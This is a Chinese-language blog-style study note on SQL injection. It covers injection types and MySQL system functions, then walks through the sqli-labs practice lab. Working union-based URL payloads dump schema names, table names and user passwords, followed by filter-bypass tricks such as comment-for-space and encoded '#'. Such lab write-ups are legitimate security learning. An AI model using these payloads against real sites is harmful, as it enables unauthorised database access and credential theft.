sql注入也知道了好长时间,一直很困惑,一遍学习一遍做个总结吧 。
注入类型
基于从服务器接收到的响应
基于错误的sql注入
联合查询的内容
堆查询注射
sql盲注
•基于布尔的盲注
•基于时间的 SQL 盲注
•基于报错的 SQL 盲注
基于如何处理输入的 SQL 查询(数据类型)
•基于字符串
•数字或整数为基础的
基于注入点的位置上的
▲通过用户输入的表单域的注射。
▲通过 cookie 注射。
▲通过服务器变量注射。 (基于头部信息的注射)
系统函数
version()—mysql版本
user()——数据库用户名
database()——数据库名
@@datadir——数据库路径
@@version_compile_os——操作系统版本
字符串连接函数
1. concat(str1,str2,...)——没有分隔符地连接字符串
2. concat_ws(separator,str1,str2,...)——含有分隔符地连接字符串
3. group_concat(str1,str2,...)——连接一个组的所有字符串,并以逗号分隔每一条数据
说着比较抽象,其实也并不需要详细了解,知道这三个函数能一次性查出所有信息就行了。
1.注释符
单行注释符
#,--
多行注释符
/* 需要闭合
2.判断当前数据库是否有字段名
对于一些可以直接看到表的,可以在表中搜索字段名。
解释一下为啥(model)的返回值不为空,因为(列名)就是遍历字段中不为false的内容,在mysql中字符串默认为零,而model里的数字默认为true,所以返回全表。
在加上or试试,据我测试,如果都为true,则返回的结果为两者的累加,一真一徦的话,则返回真的结果。
3.limit下的判断
order by判断字段数
测试出字段名为3个,接下来就是联合查询爆数据了
玩一下sql-lib
从最简单的开始,基于错误的注入,就是从错误信息中得到我们需要的信息,首先要做的就是让页面报错,可以使用',"等
根据报错信息构造
缺少右括号,填一个,再注释一下,正常了
然后就是套路了。
order by 测试一下字段数,看到3时返回正常,4时返回错误
联合查询,union字段前面的置为false即可,一般用-1,and1=2等
查看一下当前数据库,版本号等等。
也可以爆数据库
?id=1' and 1=2 union select 1,group_concat(schema_name),version() from information_schema.schemata%23
爆security的数据表
?id=1%27%20and%201=2%20union%20select%201,group_concat(table_name),version()%20from%20information_schema.tables where table_schema = 'security'%23
爆users表的列
爆 数据
?id=1%27%20and%201=2%20union%20select%201,password,username%20from%20users where id=2%23
过滤绕过方法
有的时候会遇到过滤的情况,比如#,可以尝试用%23绕过,上面的教程就是采用这样的方法。但还有其他过滤,总结一下
1.空格绕过
作用:空格在sql语句中起到分割的作用,不可或缺
方法:1.注释/**/代替
2.+绕过
3.其他方法编码%20,内联注释等
2.表名等关键字被过滤
以information_schema.tables为例
空格 information_schema . tables
着重号 information</em>schema.tables
特殊符 /!informationschema.tables/
别名 information_schema.(partitions),(statistics),(keycolumnusage),(table_constraints)